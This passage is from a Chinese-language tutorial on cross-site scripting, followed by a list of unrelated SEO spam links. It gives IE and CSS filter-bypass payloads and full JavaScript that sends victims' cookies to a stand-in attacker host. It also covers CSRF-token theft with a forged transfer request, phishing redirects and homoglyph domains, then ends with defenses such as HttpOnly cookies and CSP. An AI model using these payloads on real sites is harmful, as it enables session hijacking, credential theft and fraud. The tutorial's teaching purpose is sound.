  2. CSS特性繞過(guò)XSS
  3. IE中利用CSS觸發(fā)XSS
  1. 利用IE特性繞過(guò)XSS

IE中兩個(gè)反單引號(hào)hgj `` 可以閉合一個(gè)左邊雙引號(hào)
``οnmοusemοve= alert(1)

  1. CSS特性繞過(guò)XSS

設(shè)置background:url,利用JavaScript偽協(xié)議執(zhí)行js,目前只有IE瀏覽器支持
background-color:# f00;background:url(javascript:alert(document.domain);");
低版本IE瀏覽器6 10 D版本彈窗成功

  1. IE中利用CSS觸發(fā)XSS

CSS中的注釋//
xss:expres/
/sion(if(!window.x){alert(document.domain);window.x= 1;})

四、漏洞利用

1. Cookie竊取

下面這個(gè)URL包含了受害者Cookie信息,當(dāng)瀏覽器加載此圖像時(shí),會(huì)自動(dòng)向指定的服務(wù)器發(fā)起GET請(qǐng)求,請(qǐng)求參數(shù)中攜帶著竊取的Cookie。

  1. 創(chuàng)建圖像對(duì)象:通過(guò)document.createElement(‘img’)創(chuàng)建一個(gè)新的<img>元素
  2. 設(shè)置源地址(src屬性):將圖像的src屬性設(shè)置為攻擊者控制的服務(wù)器地址,并附帶上受害者當(dāng)前頁(yè)面的Cookie。這里使用encodeURIComponent()函數(shù)對(duì)document.cookie返回的Cookie值進(jìn)行URL編碼,確保任何特殊字符不會(huì)導(dǎo)致URL格式錯(cuò)誤
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
  1. 隱藏圖像:為了隱蔽操作,通常將圖像樣式設(shè)置為display: none;,使其在頁(yè)面上不可見,避免引起用戶的警覺(jué)。
img.style.display = 'none';
  1. 插入到文檔:最后,將這個(gè)帶有惡意目的的圖像元素添加到網(wǎng)頁(yè)的document.body中。瀏覽器會(huì)立即開始加載圖像,從而觸發(fā)了向攻擊者服務(wù)器發(fā)送帶有Cookie數(shù)據(jù)的HTTP請(qǐng)求。
document.body.appendChild(img);
  1. 攻擊者在其控制的服務(wù)器端接收并記錄這些攜帶Cookie信息的請(qǐng)求,隨后可以解析出Cookie值,用于后續(xù)的攻擊活動(dòng),如偽造身份登錄、實(shí)施欺詐操作等。
    除了這種場(chǎng)景也可以通過(guò)評(píng)論區(qū)頁(yè)面,進(jìn)行XSS會(huì)話劫持

完整XSS攻擊代碼:

var img = document.createElement('img');
img.src = 'http://attacker-controlled-server.com/track?cookie=' + encodeURIComponent(document.cookie);
img.style.display = 'none'; // 隱藏圖片以避免引起用戶注意
document.body.appendChild(img); // 將圖片元素插入到頁(yè)面中,觸發(fā)HTTP請(qǐng)求

2. 重定向到釣魚網(wǎng)站(獲取用戶賬號(hào)密碼等)

通過(guò)下面代碼可直接將用戶頁(yè)面重定向到釣魚網(wǎng)站,截取用戶敏感信息

<script>window.location.href = "http://釣魚.com/";</script>
  1. 黑客通過(guò)郵件等方式誘導(dǎo)用戶點(diǎn)擊進(jìn)入qq空間(實(shí)際是釣魚網(wǎng)站),比如說(shuō)qq空間限時(shí)領(lǐng)取黃鉆、vip等,誘導(dǎo)用戶點(diǎn)擊鏈接
    在這里插入圖片描述
    釣魚網(wǎng)站最直觀的就是看域名,可以看到目標(biāo)網(wǎng)站域名 :qq.xps.com 盡管域名中出現(xiàn)了 qq 字樣,但是一級(jí)域名卻是 xps.com 這一點(diǎn)就直接暴露了釣魚網(wǎng)站的本性。
    但早期還有一種利用拉丁字母注冊(cè)的域名偽造釣魚網(wǎng)站的案例,這種就比較逼真了,下面國(guó)光簡(jiǎn)單列舉一些:
# 真域名
www.oppo.com
# 假域名
www.οppο.com
# 真域名
www.vip.com
# 假域名
www.νip.com
  1. 用戶看到qq空間,輸入自己的 QQ 賬號(hào)和密碼信息,點(diǎn)擊登錄后域名跳轉(zhuǎn)到真正的 QQ 官網(wǎng)
    但第一次輸入點(diǎn)擊登錄后不會(huì)讓用戶登錄成功(因?yàn)槭轻烎~網(wǎng)站并非真實(shí)網(wǎng)站,沒(méi)有登錄后臺(tái)功能等),而是立即跳轉(zhuǎn)至真實(shí)網(wǎng)站登錄頁(yè)。
    然后用戶再輸入自己的 QQ 賬號(hào)和密碼就可以成功登陸了。目前很多釣魚網(wǎng)站都是這種思路,這可以讓被釣者產(chǎn)生一種自己第一次是密碼不小心輸入錯(cuò)誤的錯(cuò)覺(jué),從而放松警惕。
    在這里插入圖片描述
  2. 然后黑客就可以拿到用戶的賬號(hào)密碼了
    然后釣魚網(wǎng)站的管理員每天會(huì)到自己的 QQ 空間釣魚管理中心里面看看今天又有哪些人上鉤
    在這里插入圖片描述

3. XSS + CSRF(跨站請(qǐng)求偽造)結(jié)合

通過(guò)這種方式可繞過(guò)CSRF Token保護(hù)。
首先利用XSS竊取用戶的CSRF Token:

const csrfToken = document.querySelector('meta[name="csrf-token"]').content;
fetch('https://attacker.com/steal?token=' + csrfToken);

然后偽造敏感操作請(qǐng)求(如轉(zhuǎn)賬):

fetch('/transfer', {method: 'POST',headers: {'X-CSRF-Token': csrfToken},body: 'to=attacker&amount=1000'
});

4. 任意網(wǎng)頁(yè)跳轉(zhuǎn)引流

網(wǎng)頁(yè)跳轉(zhuǎn),等同于任意url跳轉(zhuǎn)。通過(guò)下面代碼,強(qiáng)制跳轉(zhuǎn)到對(duì)應(yīng)網(wǎng)頁(yè),進(jìn)行引流

<script>window.location.href="https://www.baidu.com"</script>
<meta content="1;http://www.baidu.com/" http-equiv="refresh">

五、防御手段

1. 校驗(yàn)用戶輸入

  • 不信任任何用戶輸入:所有輸入數(shù)據(jù)均視為潛在惡意。過(guò)濾危險(xiǎn)字符等
  • 白名單機(jī)制:僅允許符合預(yù)期格式的輸入。

2. 安全Cookie限制

HttpOnly:阻止JavaScript訪問(wèn)Cookie。
Secure:僅通過(guò)HTTPS傳輸Cookie。
SameSite:防止跨站請(qǐng)求偽造(CSRF)。

3. 避免使用高危API

  1. element.textContent替換element.innerHTML
  2. document.createElement()替換高危的document.write()
  3. JSON.parse()、函數(shù)封裝替換eval()
  4. document.textContent替代innerHTML,避免DOM型XSS

4. 使用CSP(內(nèi)容安全策略)

通過(guò)HTTP頭 Content-Security-Policy 限制資源加載和腳本執(zhí)行,限制頁(yè)面加載外部資源,阻止未經(jīng)授權(quán)的腳本執(zhí)行。
參考配置:

Content-Security-Policy: default-src 'none';script-src 'self' https://trusted-cdn.com;img-src 'self';style-src 'self' 'unsafe-inline';connect-src 'self';form-action 'self';frame-ancestors 'none';report-uri /csp-report;

5. 使用WAF

使用WAF(web應(yīng)用防火墻),規(guī)則示例:攔截包含

參考文章:
https://cn-sec.com/archives/2682617.html
https://xz.aliyun.com/news/8054

http://www.risenshineclean.com/news/44130.html

相關(guān)文章:

  • 網(wǎng)站的相關(guān)鏈接怎么做濟(jì)南seo網(wǎng)絡(luò)優(yōu)化公司
  • wordpress軟件下載源碼搜索引擎優(yōu)化的名詞解釋
  • 網(wǎng)站建設(shè)銷售實(shí)習(xí)報(bào)告臨沂網(wǎng)站建設(shè)
  • 什么平臺(tái)引流最快太原seo網(wǎng)絡(luò)優(yōu)化招聘網(wǎng)
  • 自建網(wǎng)站成都搜索引擎營(yíng)銷方案
  • 網(wǎng)站開發(fā)工具webs國(guó)家免費(fèi)培訓(xùn)機(jī)構(gòu)
  • 教育機(jī)構(gòu)電商網(wǎng)站建設(shè)加盟福州seo招聘
  • 網(wǎng)站功能介紹是什么百度應(yīng)用商店下載
  • 中國(guó)著名的網(wǎng)站建設(shè)公司百度熱搜電視劇
  • 秦皇島企業(yè)建網(wǎng)站廣東seo外包服務(wù)
  • 南京企業(yè)建設(shè)網(wǎng)站設(shè)計(jì)網(wǎng)絡(luò)推廣都是收費(fèi)
  • h5 技術(shù)做健康類網(wǎng)站網(wǎng)絡(luò)優(yōu)化公司有哪些
  • ipv6網(wǎng)站建設(shè)如何自制網(wǎng)站
  • 清河做網(wǎng)站軟文是什么意思
  • 網(wǎng)站開發(fā)需要20萬(wàn)百度云網(wǎng)盤免費(fèi)資源
  • 合肥網(wǎng)站建設(shè)推廣友情鏈接怎么做
  • 西部數(shù)碼網(wǎng)站工具免費(fèi)建站平臺(tái)哪個(gè)好
  • 東陽(yáng)網(wǎng)站建設(shè)dyfwzx友情鏈接吧
  • 沈陽(yáng)網(wǎng)站建設(shè)建設(shè)公司排名優(yōu)化seo系統(tǒng)
  • 重慶網(wǎng)站設(shè)計(jì)公司價(jià)格丈哥seo博客工具
  • 如何搭建一個(gè)個(gè)人網(wǎng)站學(xué)校招生網(wǎng)絡(luò)營(yíng)銷方案
  • 給公司網(wǎng)站設(shè)計(jì)寧波廠家關(guān)鍵詞優(yōu)化
  • 智聯(lián)招聘網(wǎng)站建設(shè)情況注冊(cè)城鄉(xiāng)規(guī)劃師好考嗎
  • jqueryui做的網(wǎng)站株洲seo排名
  • 寧波做網(wǎng)站的大公司排名關(guān)鍵詞搜索推廣排行榜
  • 如何免費(fèi)網(wǎng)站建設(shè)怎么可以在百度發(fā)布信息
  • 做網(wǎng)站運(yùn)營(yíng)的女生多嗎百度公司簡(jiǎn)介
  • 上海小微企業(yè)名錄查詢seo短視頻網(wǎng)頁(yè)入口營(yíng)銷
  • 公司網(wǎng)站建設(shè)北京北京做百度推廣的公司
  • 網(wǎng)站開發(fā)用啥語(yǔ)言廣州各區(qū)正在進(jìn)一步優(yōu)化以下措施